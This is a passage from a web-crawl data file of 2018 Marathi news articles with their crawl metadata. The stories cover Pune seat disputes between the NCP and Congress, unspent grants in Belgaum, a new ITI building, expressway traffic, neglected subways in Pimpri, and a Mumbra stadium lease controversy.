सरकार विरोधात राष्ट्रवादी काँग्रेसकडून हल्लाबोल आंदोलनाचे आयोजन करण्यात आले होते. या निमित्ताने वारजे येथे झालेल्या सभेत राष्ट्रवादी काँग्रेसचे नेते आणि राज्याचे माजी उपमुख्यमंत्री अजित पवार यांनी राष्ट्रवादी काँग्रेस आगामी लोकसभा निवडणुकीसाठी पुण्यातून उमेदवार देणार असल्याचे जाहीर केले. तसेच खडकवासला विधानसभा मतदारसंघावरही त्यांनी दावा सांगितला होता. पवार यांच्या या विधानानंतर शहराच्या राजकीय वर्तुळात एकच चर्चा सुरू झाली. त्यानंतर काँग्रेस आणि राष्ट्रवादी काँग्रेसकडून आता एकमेकांवर शाब्दिक हल्लाबोल सुरू झाला आहे.\nपुणे लोकसभा निवडणुकीसाठी राष्ट्रवादी काँग्रेसकडे सक्षम उमेदवार आहे. शहरात राष्ट्रवादी काँग्रेसची ताकद काँग्रेसपेक्षा अधिक आहे. त्यामुळे पुण्यावर आमचाच दावा राहणार आहे, असा पुनरुच्चार अजित पवार यांनी केला. दरम्यान, राष्ट्रवादी काँग्रेसने पुण्यावर दावा केल्यानंतर काँग्रेसने बारामती लोकसभा निवडणुकीसाठी उमेदवार देणार असल्याचे जाहीर केले. या दाव्याचीही पवार यांनी खिल्ली उडविली आहे.\nकाँग्रेस-राष्ट्रवादी काँग्रेस आघाडीने लोकसभेची निवडणूक लढवली होती. गेल्या काही वर्षांपासून ही जागा काँग्रेसच्या वाटय़ाला आहे. गेल्या निवडणुकीत प्रदेश युवक काँग्रेसचे अध्यक्ष डॉ. विश्वजीत कदम यांनी पुण्यातून निवडणूक लढवली होती. पवार यांच्या वक्तव्यानंतर मात्र काँग्रेसमध्ये अस्वस्थता पसरल्याचे चित्र आहे. पुण्याची जागा राष्ट्रवादीला देणार नाही, अशी भूमिका काँग्रेसकडून घेण्यात आली आहे आणि लोकसभेसाठी उमेदवार कोण, याची चर्चा पक्षात सुरू झाली आहे. शहरातील मतदार काँग्रेसला मानणारा आहे. त्यामुळे ही जागा आमचीच असेल. आघाडीसंदर्भात अद्याप निर्णय झालेला नाही. मात्र राष्ट्रवादीकडून करण्यात आलेली मागणी काँग्रेस पक्षाच्या वरिष्ठ नेत्यांच्या कानावर घालण्यात येईल, असे काँग्रेसच्या पदाधिकाऱ्यांकडून सांगण्यात आले. पण काँग्रेसकडे सक्षम उमेदवार आहे की नाही, याचीच चर्चा आता पक्षात सुरू झाली आहे.\nगेल्या निवडणुकीतील उमेदवार डॉ. विश्वजीत कदम हे पुण्यातून निवडणूक लढविणार की नाही, हे अद्यापही स्पष्ट नाही. सांगलीतून ते निवडणूक लढविण्याची शक्यता पक्षाच्या कार्यकर्त्यांकडूनच व्यक्त होत आहे. त्यामुळे सध्या तरी पुणे लोकसभेवर दावा कोणाचा, यावरून दोन्ही काँग्रेसमध्ये जोरदार दावे-प्रतिदावे करण्यात येत आहेत.\nताज्या बातम्यांसाठी लोकसत्ताचे मोबाईल अॅप डाऊनलोड करा.\nखालील बातम्या तुम्ही वाचल्या का\nचूक झाली.. यापुढे गणपती बाप्पा मोरया म्हणणार नाही-वारीस पठाण\nभारताने लाखो लोकांना गरिबीतून बाहेर काढले, संयुक्त राष्ट्र संघात ट्रम्प यांचे गौरवोद्गार\nAsia Cup 2018 Ind vs Afg Live : लोकेश राहुलही माघारी परतला, भारताला...\nराफेल विमान व्यवहार: रॉबर्ट वद्रांना तुरुंगवास नक्की, भाजपाचा पलटवार\n..तेव्हा मोदींनीही पंतप्रधान मनमोहनसिंग यांना पाठिंबा दिला होता: राम माधव\nसतत टोमणे मारणाऱ्या पतीला वजनदार पत्नीचं 'बॉडी बिल्डर' होऊन उत्तर\n'द नन'ची जगभरात तुफान कमाई; १४०० कोटींचा जमवला गल्ला\n'मी शिवाजी पार्क' सेन्सॉरच्या कात्रीत; महेश मांजरेकर जाणार कोर्टात\nअरबाज २०१९ मध्ये दुसऱ्यांदा चढणार बोहल्यावर\nVideo : आधी देश मग धर्म, रितेश देशमुखने शेअर केलेला हा व्हिडिओ पाहाच\nदारुच्या नशेत रिक्षाला ठोकलं, दोघं जखमी; अभिनेता दलीप ताहिल अटकेत\nपुण्यात पेट्रोल दर अखेर नव्वदीपार\nतीन हजारांहून अधिक फरार गुन्हेगारांची विशेष शोधमोहीम\nमीरा-भाईंदरमध्ये ‘अल्ट्रा थीन’ रस्ते\n‘जैन मुनींच्या आशीर्वादामुळे महापालिकेत यश\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00450.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Aurangabad/bhagvat-karad-says-if-we-want-Shivsena-to-help-it/", "date_download": "2018-09-25T17:13:12Z", "digest": "sha1:MODJONQEZCQXJC6EQSRFH34POHVF5A4I", "length": 7392, "nlines": 50, "source_domain": "www.pudhari.news", "title": " ‘...तर आम्ही शिवसेनेला हवी ती मदत करू’ | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Aurangabad › ‘...तर आम्ही शिवसेनेला हवी ती मदत करू’\n‘...तर आम्ही शिवसेनेला हवी ती मदत करू’\nऔरंगाबादचे संभाजीनगर म्हणून नामांतर करण्यासाठी जिल्ह्यात ठिकठिकाणी खासदार चंद्रकांत खैरे यांच्या नेतृत्वाखाली शिवसेनेच्या वतीने जे आंदोलन करण्यात येत आहेत, ते फक्त जनतेची दिशाभूल, भावनिक मुद्दे समोर ठेवून करण्यात येत आहे. हिम्मत असेल याबाबतचा नामांतराचा मुद्दा जिल्हा परिषद ठरावात मांडावा. तो ठराव संमत करण्यासाठी आम्ही हवे ते सहकार्य करू, असे भाजप प्रदेश उपाअध्यक्ष भागवत कराड यांनी म्हटले आहे.\nयेथे आयोजित पत्रकार परिषदेत बोलताना ते म्हणाले, जिल्हा परिषदेच्या अध्यक्षा या शिवसेनेच्या असून जि. प. मध्ये शिवसेना व त्यांचे मित्रपक्षांची सत्ता असतानाही खा. खैरे जिल्हा परिषदेमध्ये औरंगाबादचे नाव बदलून संभाजीनगर करण्याबाबतचा ठराव न मांडता काही महिन्यावर येऊन ठेपलेली मनपा निवडणूक डोळयासमोरच ठेवून उगाच जिल्हाभरात शिवसेनेच्या वतीने निदर्शने, आंदोलन केली जात आहेत. हे आंदोलन म्हणजे फक्त जनतेची दिशाभूल आणि भावनिक मुद्दे समोर ठेवून करण्यात येत आहे. जिल्ह्यात कोणती विकास कामे केले आहेत, ती सांगायची सोडून उगाच जिल्ह्यातील जनतेच्या मनात हिंदूत्वाचे धार्मिक भावना भडकावण्याचे काम खा. खैरे करीत आहेत, अशी टीका कराड यांनी केली.\nजनता आता खूप हुशार झाली आहे. त्यांना आता विकास कामे हवी आहेत, असे ते म्हणाले. पत्रकार परिषदेला भाजपचे जिल्हा उपाध्यक्ष संजय खंबायते, अल्पसंख्याक विभागाचे जिल्हाध्यक्ष नबी पटेल, जिल्हा सरचिटनिस सत्तार पटेल, तालुकाध्यक्ष ज्ञानेश्‍वर नलावडे, उपनगरध्यक्ष सुरेश मरकड, माजी उपसभापती दिनेश अंबोरे, अल्पसंख्याक विभागाचे तालुकाध्यक्ष मुक्तार पठाण, नगरसेवक अविनाश कुलकर्णी, परसराम बारगळ, तालुका सरचिटनिस प्रकाश वाकळे, माजी नगरसेवक आशिष कुलकर्णी, युवा तालुकाध्यक्ष विकास कापसे, तालुका उपाध्यक्ष संतोष गायकवाड, जाबेर गुलाब, अन्वर भाई, शहरध्यक्ष सय्यद अफसर यांची उपस्थिती होती\n‘...तर आम्ही शिवसेनेला हवी ती मदत करू’\nआता महावितरण कंपनी खोदणार रस्ते\nबनावट कागदपत्राद्वारे प्रॉपर्टी विकणारे रॅकेट\nनौकाविहार हवेतच; ६२ लाख पाण्यात जाणार\nऔरंगाबाद सेक्स रॅकेट : ‘स्पा’मधील तरुणी मायदेशी परतणार\nवरिष्ठांची अडविली कार; पोलिसाला मिळाले १ हजार\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00451.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Belgaon/In-the-belgaon-district-there-are-85-crore-in-various-accounts/", "date_download": "2018-09-25T17:22:48Z", "digest": "sha1:U33FWM72IMS3VJJJSTLD3D3RNDBTN4QG", "length": 7208, "nlines": 41, "source_domain": "www.pudhari.news", "title": " बेळगाव जिल्ह्यात विविध खात्यांमध्ये ८५ कोटी पडून! | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Belgaon › बेळगाव जिल्ह्यात विविध खात्यांमध्ये ८५ कोटी पडून\nबेळगाव जिल्ह्यात विविध खात्यांमध्ये ८५ कोटी पडून\n जमातीच्या विकासासाठी एससीपी/टीएसपी, कायद्यांतर्गत बेळगाव जिल्ह्याला वाटप झालेला कोट्यवधी रु. अनुदानाचा वापर पूर्णपणे झालेला नसल्याचे उघडकीस आले आहे. दोन वर्षांत वितरण झालेल्या रु.824.89 कोटी अनुदानापैकी रु. 739. 56 कोटी चा वापर करण्यात आला आहे. उर्वरित रु. 85.33 कोटीचा वापर झालेलाच नाही.\nतत्कालीनन मुख्यमंत्री सिध्दरामय्या यांनी अनुसूचित जाती उपयोजना व जमाती उपयोजना 1 कायदा 2013 अमलात आणला होता. खातेनिहाय वितरण करण्यात आलेल्या अनुदानातून लोकसंख्येनुसार अनुसूचित जाती 2013 अमलात आणला होता. खातेनिहाय वितरण करण्यात आलेल्या अनुदानातून लोकसंख्येनुसार अनुसूचित जाती जमातीसाठी 24.1 अनुदान राखून ठेवण्यात आले होते.\nनिर्धारित प्रमाणानुसार अनुदानाचा वापर न केलेल्या अधिकार्‍यांवर गुन्हा दाखल करण्याची तरतूद होती. असा कठोर कायदा तयार करण्यात आला तरी अनुदानाचा पूर्णपणे वापर करण्याकडे अधिकार्‍यांनी दुर्लक्ष केल्याचे स्पष्ट झाले आहे.\nप्रमुख खात्यांमध्येच वापर नाही\nसमाजकल्याण खात्यामध्ये सुमारे रु.4.75 कोटी, अनुसूचित जाती कल्याण खात्यामध्ये रु, 2.14 कोटी, वनखात्यामध्ये रु. 1.03 कोटी, चिकोडी विभाग ग्रामीण पाणीपुरवठा व स्वच्छता विभागात रु.94 लाख, कृषी खात्यामध्ये रु.72 लाखाचे अनुदान बाकी आहे.\nजिल्ह्यातील काही शिक्षण संस्थांमधूनही अनुदानाचा वापर पूर्णपणे झाला नसल्याचे समजून आले आहे. चिकोडी शैक्षणिक विभागासाठी वितरण करण्यात आलेल्या रु.78 लाख अनुदानातील केवळ 8.75 अनुदान वापरण्यात आले आहे. राणी चन्नम्मा विद्यापीठासाठी वितरण करण्यात आलेल्या रु. 1.39 कोटी अनुदानातील केवळ रु.66 लाख खर्च करण्यात आले आहेत. तसेच बेळगाव वैद्यकीय शिक्षण संस्थेमध्ये (बिम्स) रु.8.50 लाख अनुदानापैकी केवळ रु.14,000 चा खर्च करण्यात आला आहे.\n 17 मध्ये टीएसपी अंतर्गत अनुदान मंजूर करण्यात आले नसल्याचे विश्वेश्वरय्या तांत्रिक विद्यापीठाने आपल्या अहवालात म्हटले आहे. चन्नम्मा विद्यापीठाने तर अनुदान वापराचा अहवालच सादर केलेला नाही. कर्नाटक गृहमंडळ, लघुपाटंबधारे खात्याने एस. सी. एस. पी. अंतर्गत अनुदान मिळालेच नाही, अशी तक्रार केली आहे. अनुदानच मंजूरच झाले नसल्याचा आरोप कर्नाटक शहर पाणीपुरवठा मंडळ, युवा सेवा क्रीडा खात्याने केला आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00451.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Konkan/new-building-iti-sanmeshwar/", "date_download": "2018-09-25T17:13:16Z", "digest": "sha1:QMDX4BR2VVXEUSRNG7I55DACOKJOPDRH", "length": 7869, "nlines": 37, "source_domain": "www.pudhari.news", "title": " नवीन इमारतीचा प्रशासनाने घेतला ताबा | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Konkan › नवीन इमारतीचा प्रशासनाने घेतला ताबा\nनवीन इमारतीचा प्रशासनाने घेतला ताबा\nगेले वर्षभर सातत्याने आयटीआय नागरिक संघर्ष समितीने केलेल्या पाठपुराव्यानंतर संगमेश्‍वरातील आयटीआयची नवीन इमारत आयटीआय प्रशासनाने ताब्यात घेतल्याने संघर्ष समितीच्या लढ्याला यश आले आहे. दि. 5 जानेवारीपासून बांधकाम विभागाने रितसर या इमारतीचा ताबा आयटीआय प्रशासनाकडे दिल्याचे जाहिर केले.\nतातडीने आयटीआय प्रशासनानेही आपल्या जुन्या इमारतीमधील सामान नव्या इमारतीत हलविण्यास सुरवात केल्याने संगमेश्‍वरवासियांनी समाधान व्यक्‍त केले आहे. सुमारे सव्वादोन कोटी रुपये खर्चून उभारण्यात आलेल्या संगमेश्‍वरच्या आयटीआय नवीन इमारतीचा स्थलांतराचा प्रश्‍न गेले दीड वर्षे गाजत होता. मूळ निविदेपेक्षाही जास्त काम होऊनही काही कामे रखडल्याचे दाखवत ही इमारत ताब्यात घेण्यास आयटीआय प्रशासन राजी होत नव्हते. या प्रश्‍नात सामाजिक कार्यकर्ते गणेश चाचे यांनी उडी घेतली. स्थानिक ग्रामस्थ, व्यापारी, राजकीय प्रतिनिधी, पत्रकार यांना एकत्र करीत त्यांनी आयटीआय नागरिक संघर्ष समिती स्थापन केली. यानंतर जिल्हाधिकारी, बांधकाम विभाग, मंत्रालय अशा स्तरावर पोहचून त्यांनी या इमारतीच्या स्थलांतराचा प्रश्‍न मांडला. मात्र, तरीही मुजोर प्रशासन दाद देत नसल्याचे पाहून चाचे यांनी गतवर्षी भर पावसात संगमेश्‍वरात कुटुंबियांसह जनजागृती आंदोलन सुरू केले. यानंतर संघर्ष समितीच्या माध्यमातून त्यांनी निषेध आंदोलनाचीही तयारी सुरू केली होती.\nयानंतर आयटीआय प्रशासनाने बांधकाम विभागाशी सल्‍लामसलत सुरू केली होती. बांधकाम विभागाने नावडी ग्रामपंचायतीच्या सहाय्याने येथील पाणी प्रश्‍न मार्गी लावला तर रस्ता आणि विजेचाही प्रश्‍न मार्गी लागला होता. आधी इमारत ताब्यात घ्या, मग शिल्‍लक कामे पूर्ण करून देतो असे आश्‍वासन बांधकाम विभागाने दिले होते होते. त्यानुसार गेल्या दोन महिन्यांत हालचाली होऊन आयटीआय प्रशासनाने ही इमारत ताब्यात घेण्याच्या हालचाली सुरू केल्या. त्यानुसार दि. 5 रोजी सार्वजनिक बांधकाम विभागाचे अभियंता यांनी लेखी पत्राद्वारे आयटीआयचे प्राचार्य यांच्याकडे या इमारतीचे हस्तांतरण केले आणि आयटीआय प्रशासनानेही ही इमारत ताब्यात घेतल्याचे जाहीर केले.\nया प्रकारामुळे संघर्ष समितीचा गेले दीड वर्षे सुरू असलेला लढा आता थांबणार आहे. येत्या काही दिवसांत सामानाची हलवाहलव करून नव्या इमारतीचे उद्घाटन करीत येथे नवीन अभ्यासक्रम सुरू होण्यासाठी आपण प्रयत्न करणार असल्याचे समितीचे अध्यक्ष गणेश चाचे यांनी जाहीर केले.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00451.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://pclive7.com/%E0%A4%AA%E0%A5%81%E0%A4%A3%E0%A5%87-%E0%A4%AE%E0%A5%81%E0%A4%82%E0%A4%AC%E0%A4%88-%E0%A4%8F%E0%A4%95%E0%A5%8D%E0%A4%B8%E0%A4%AA%E0%A5%8D%E0%A4%B0%E0%A5%87%E0%A4%B8%E0%A4%B5%E0%A5%87%E0%A4%B5-2/", "date_download": "2018-09-25T17:59:46Z", "digest": "sha1:2PZD2UDGSXXIMU5SFISGWJ6LVJNYIBBP", "length": 5817, "nlines": 70, "source_domain": "pclive7.com", "title": "पुणे-मुंबई एक्सप्रेसवेवर वाहतूक कोंडी | PCLIVE7.com – Pimpri Chinchwad News, Pune News Live.", "raw_content": "\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\nपिंपरीतील फुल बाजाराच्या स्थलांतरावर शिक्कामोर्तब\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nमहापालिका मुख्यालयात वैद्यकीय कक्ष सुरू करा; विरोधी पक्षनेते दत्ता साने यांची मागणी\nवायसीएमच्या दारातच रूग्णाची ‘हेळसांड’, अर्धातासाच्या प्रतिक्षेनंतर उपचार सुरू\nनाना काटे सोशल फाऊंडेशनच्या मूर्तीदान उपक्रमाला उस्फूर्त प्रतिसाद; १२ हजार ३०० मूर्तींचे केले संकलन\nढोल ताशांच्या गजराज उन्न’ती’च्या गणपतीचे विसर्जन\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nHome पिंपरी-चिंचवड पुणे-मुंबई एक्सप्रेसवेवर वाहतूक कोंडी\nपुणे-मुंबई एक्सप्रेसवेवर वाहतूक कोंडी\nपिंपरी (Pclive7.com):- पुणे-मुंबई एक्सप्रेसवेवर वाहनांची संख्या वाढल्याने आज सकाळपासूनच पुण्याकडे जाणार्‍या मार्गावर खंडाळा बोर घाटातील अमृतांजन पुलापासून जवळपास तीन किमी अंतरापर्यत वाहनांच्या रांगा लागून वाहतूक कोंडी झाली आहे.\nशुक्रवारी रात्रीपासून या मार्गावर वाहनांची गर्दी वाढल्याने वेग मंदावला होता. त्यातच अनेक मोठी अवजड वाहने वाढल्याने वाहतूक कोंडीत भर पडली होती. शनिवार व रविवार अशा दोन दिवस सुट्टया असल्याने अनेक पर्यटक फिरायला जाण्याचा बेत आखत सकाळच्या सत्रात घराबाहेर पडल्याने वाहनांची संख्या वाढून एक्सप्रेसवेवर वाहतूक कोंडी झाली आहे.\nTags: PCLIVE7.COMPcmc newsएक्सप्रेस वेपुणेमुंबई\nलक्ष्मण जगतापांनी घेतला महापालिकेच्या कामकाजाचा आढावा\nस्वच्छता किट वाटपात पक्षीय राजकारण; नगरसेविका सुलक्षणा शिलवंत-धर यांचा आरोप\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00452.warc.wet.gz", "language": "mr", "language_score": 0.93, "bucket": "all"} {"url": "http://www.dainikprabhat.com/%E0%A4%AD%E0%A5%81%E0%A4%AF%E0%A4%BE%E0%A4%B0%E0%A5%80-%E0%A4%AE%E0%A4%BE%E0%A4%B0%E0%A5%8D%E0%A4%97-%E0%A4%AC%E0%A4%A8%E0%A4%B2%E0%A5%87%E0%A4%A4-%E0%A4%85%E0%A4%B8%E0%A5%81%E0%A4%B0%E0%A4%95/", "date_download": "2018-09-25T17:40:05Z", "digest": "sha1:POVH5FO62VD5PYHT4WM53VGZDPOIQSVH", "length": 11708, "nlines": 143, "source_domain": "www.dainikprabhat.com", "title": "भुयारी मार्ग बनलेत असुरक्षित | Dainik Prabhat, Marathi News Paper, Pune.", "raw_content": "\nभुयारी मार्ग बनलेत असुरक्षित\n– विद्युत व्यवस्था, स्वच्छता, डागडुजीकडे दुर्लक्ष\nपिंपरी – जुन्या मुंबई-पुणे महामार्गावरील फुगेवाडी व कासारवाडी येथील भुयारी मार्गाची दुरावस्था झाली आहे. भुयारी मार्गाची स्वच्छता, विद्युत व्यवस्था, डागडुजीकडे महापालिकेचे दुर्लक्ष झाले आहे. नागरिकांना रस्त्यावर पदपथ उरले नसताना भुयारी मार्गातही टवाळखोर, मद्यपींनी अतिक्रमण केले आहे.\nफुगेवाडी चौकातील ज्ञानोबा केरु गायकवाड भुयारी मार्गातील चेंबर तुंबल्याने मोठ्या प्रमाणात पाणी साचत आहे. तसेच, अपुरी प्रकाश व्यवस्था, तरुण-तरुणींचे अश्‍लिल चाळे, दारुच्या बाटल्या यामुळे पादचारी त्रस्त झाले आहेत. यामुळे, या मार्गातून प्रवास करणाऱ्या महिला, विद्यार्थिनींमध्ये भितीचे वातावरण निर्माण झाले आहे. भुयारी मार्गाच्या बाहेर अनधिकृत वाहने उभी असल्याने पादचाऱ्यांना अडथळे निर्माण होत आहेत. याचबरोबर, भुयारी मार्गात अस्वच्छता पसरल्याने मोठ्या प्रमाणात दुर्गंधी येत असून भुयारी मार्गाच्या प्रवेशद्वारावरील फलकाची दुरावस्था झाली आहे. भुयारी मार्गांची सद्यस्थिती पाहता पादचाऱ्यांच्या सुरक्षेसाठी बांधलेल्या भुयारी मार्गाकडे महापालिकेने दुर्लक्ष केले आहे.\nकासारवाडी चौकाजवळ असलेला भुयारी मार्ग गेल्या कित्येक दिवसांपासून बंद अवस्थेत आहे. भुयारी मार्गावर कोणतेही छत नसल्याने हा मार्ग पाण्याने भरलेला आहे. या रस्त्यावर रहदारी मोठ्या प्रमाणात असल्याने हा भुयारी मार्ग सुरु करणे आवश्‍यक आहे. तसेच, जुन्या मुंबई-पुणे महामार्गावर मेट्रोचे काम सुरु असल्याने पादचारी रस्ता ओलांडण्यासाठी भुयारी मार्गाचा मोठ्या प्रमाणात वापर करतात. लाखो रुपये खर्च करुन बांधलेले भुयारी मार्ग बंद अवस्थेत असल्याने नागरिकांची गैरसोय होत आहे.\nचिंचवड स्टेशन चौकातील भुयारी मार्ग सुस्थितीत असल्याचे दिसून आले आहे. या ठिकाणी प्रकाश व्यवस्था उत्तम असून भुयारी मार्गात लावलेली निसर्ग चित्रे, पक्षांची चित्रे अतिशय नाविन्यपूर्ण दिसत आहेत. हा भुयारी मार्ग सकाळी पाच ते रात्री बारा वाजेपर्यत खुला असून साफसफाई करण्यासाठी दोन कर्मचाऱ्यांची नियुक्ती करण्यात आली आहे. तसेच, पादचाऱ्यांच्या सुरक्षेसाठी चोवीस तास सुरक्षा रक्षक ठेवण्यात आले आहेत. या भुयारी मार्गाच्या देखभाल करण्याची जबाबदारी महापालिकेने बिग इंडिया ग्रुपकडे दिली आहे.\nफुगेवाडी चौकातील भुयारी मार्गात पावसाळ्यात पाणी साचत असल्याने डासांचे प्रमाण वाढले आहे. यामुळे, स्थानिक नागरिकांचे आरोग्य धोक्‍यात येण्याची शक्‍यता आहे. मेट्रोच्या कामामुळे रस्ता ओलांडणे जिकरीचे होत असल्याने पाण्यातून वाट काढत पादचाऱ्यांना भुयारी मार्ग ओलांडावा लागत आहे. महापालिकेने तातडीने या ठिकाणी सुरक्षा रक्षक नेमून या मार्गाच्या समस्या साडविणे आवश्‍यक आहे.\n– सोहम ननावरे, स्थानिक नागरिक.\nफुगेवाडी येथील भुयारी मार्गातील तुंबलेले चेंबर तातडीने दुरुस्त केले जातील. तसेच, या मार्गातील इतर समस्या सोडवून पादचाऱ्यांची गैरसोय दूर केल्या जातील. बंद असलेल्या भुयारी मार्गांची माहिती घेतली जाईल.\n– विजय भोजणे, उपअभियंता तथा प्रवक्ता, पिंपरी-चिंचवड महापालिका.\n– प्रकाश व्यवस्था वाढविणे\n– भुयारी मार्गात थांबणारे टवाळखोर, मद्यपींवर कारवाई\n– भुयारी मार्गाची नियमित अस्वच्छता राखणे\n– रात्रीच्या सुमारास भुयारी मार्ग बंद ठेवणे\n– भुयारी मार्गाच्या नावाचा फलक नव्याने बसविणे\n– सुरक्षा रक्षकांची नेमणूक\n– भुयारी मार्गाबाहेर पार्क केल्या जाणाऱ्या वाहनांवर कारवाई\n– भुयारी मार्गांचे सुशोभिकरण\nताज्या बातम्यांसाठी प्रभातचे मोबाईल अॅप डाऊनलोड करा\nPrevious article“आवास’वरुन सत्ताधाऱ्यांची कोंडी\nNext articleनव्या ट्रेंडच्या राख्यांची सर्वांनाच भुरळ\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00452.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "https://www.loksatta.com/thane-news/mumbra-stadium-tmc-1663129/", "date_download": "2018-09-25T17:34:17Z", "digest": "sha1:EE3AKTEAD2FSEOQR5K7TWDLR2EKDDBJJ", "length": 17137, "nlines": 202, "source_domain": "www.loksatta.com", "title": "Mumbra Stadium TMC | मुंब्रा स्टेडियम आंदण! | Loksatta", "raw_content": "\nकाँग्रेस महाआघाडीत बसपलाही घेण्याचा प्रयत्न\nअतिरिक्त विजेपोटी ३८५० कोटी रुपयांचा भुर्दंड\nली चोंग वेईला नाकाचा कर्करोग\n‘डीजे मुक्त’ मिरवणुकीसाठी पोलिसांची खास पथके\nनोटाबंदीने सामान्य माणूस उद्ध्वस्त- विखे\nमुंब्य्रात नेहमीच ‘संघर्षां’चा देखावा उभा करत पुढे हातमिळवणीचे राजकारण करण्यात तरबेज असलेल्या एका मातबर नेत्याच्या आग्रहापुढे मान तुकवत यासंबंधीचा प्रस्ताव तयार करण्यात आल्याची चर्चा आहे.\nक्रीडासंकुल विनानिविदा खासगी संस्थेला; ‘संघर्ष’शील नेत्यासाठी पायघडय़ा\nठाणे जिल्ह्यचे पालकमंत्री एकनाथ शिंदे आणि आयुक्त संजीव जयस्वाल यांच्या मनोमीलनानंतर ठाणे महापालिकेत आता सर्वपक्षीय नेतेमंडळींचे लांगुलचालन सुरू झाले आहे. मुंब्रा येथील महापालिकेच्या मालकीचे भव्य क्रीडासंकुल कोणत्याही निविदेशिवाय पुन्हा एकदा एका खासगी संस्थेस प्रयोगिक तत्त्वावर भाडेतत्त्वावर देण्याचा वादग्रस्त निर्णय प्रशासनाने घेतला आहे. मुंब्य्रात नेहमीच ‘संघर्षां’चा देखावा उभा करत पुढे हातमिळवणीचे राजकारण करण्यात तरबेज असलेल्या एका मातबर नेत्याच्या आग्रहापुढे मान तुकवत यासंबंधीचा प्रस्ताव तयार करण्यात आल्याची चर्चा आहे. विशेष म्हणजे, आयुक्तांच्या सहमतीने मांडण्यात आलेल्या या वादग्रस्त प्रस्तावावर शिक्कामोर्तब करण्याची तयारी शिवसेनेच्या नेत्यांनी केली आहे.\nठाणे शहरातील मैदाने बिल्डरांना विनानिविदा भाडेतत्त्वावर देण्याचा प्रशासनाचा निर्णय यापूर्वीच वादग्रस्त ठरला असताना ठाण्यातील शहीद तुकाराम ओंबळे क्रीडा संकुल आणि मुंब्य्रातील आंतरराष्ट्रीय दर्जाचे स्टेडियम अशाच पद्धतीने कोणतीही निविदा प्रक्रिया न राबविता खासगी संस्थांना भाडेपट्टय़ावर देण्याचा वादग्रस्त प्रस्ताव मध्यंतरी 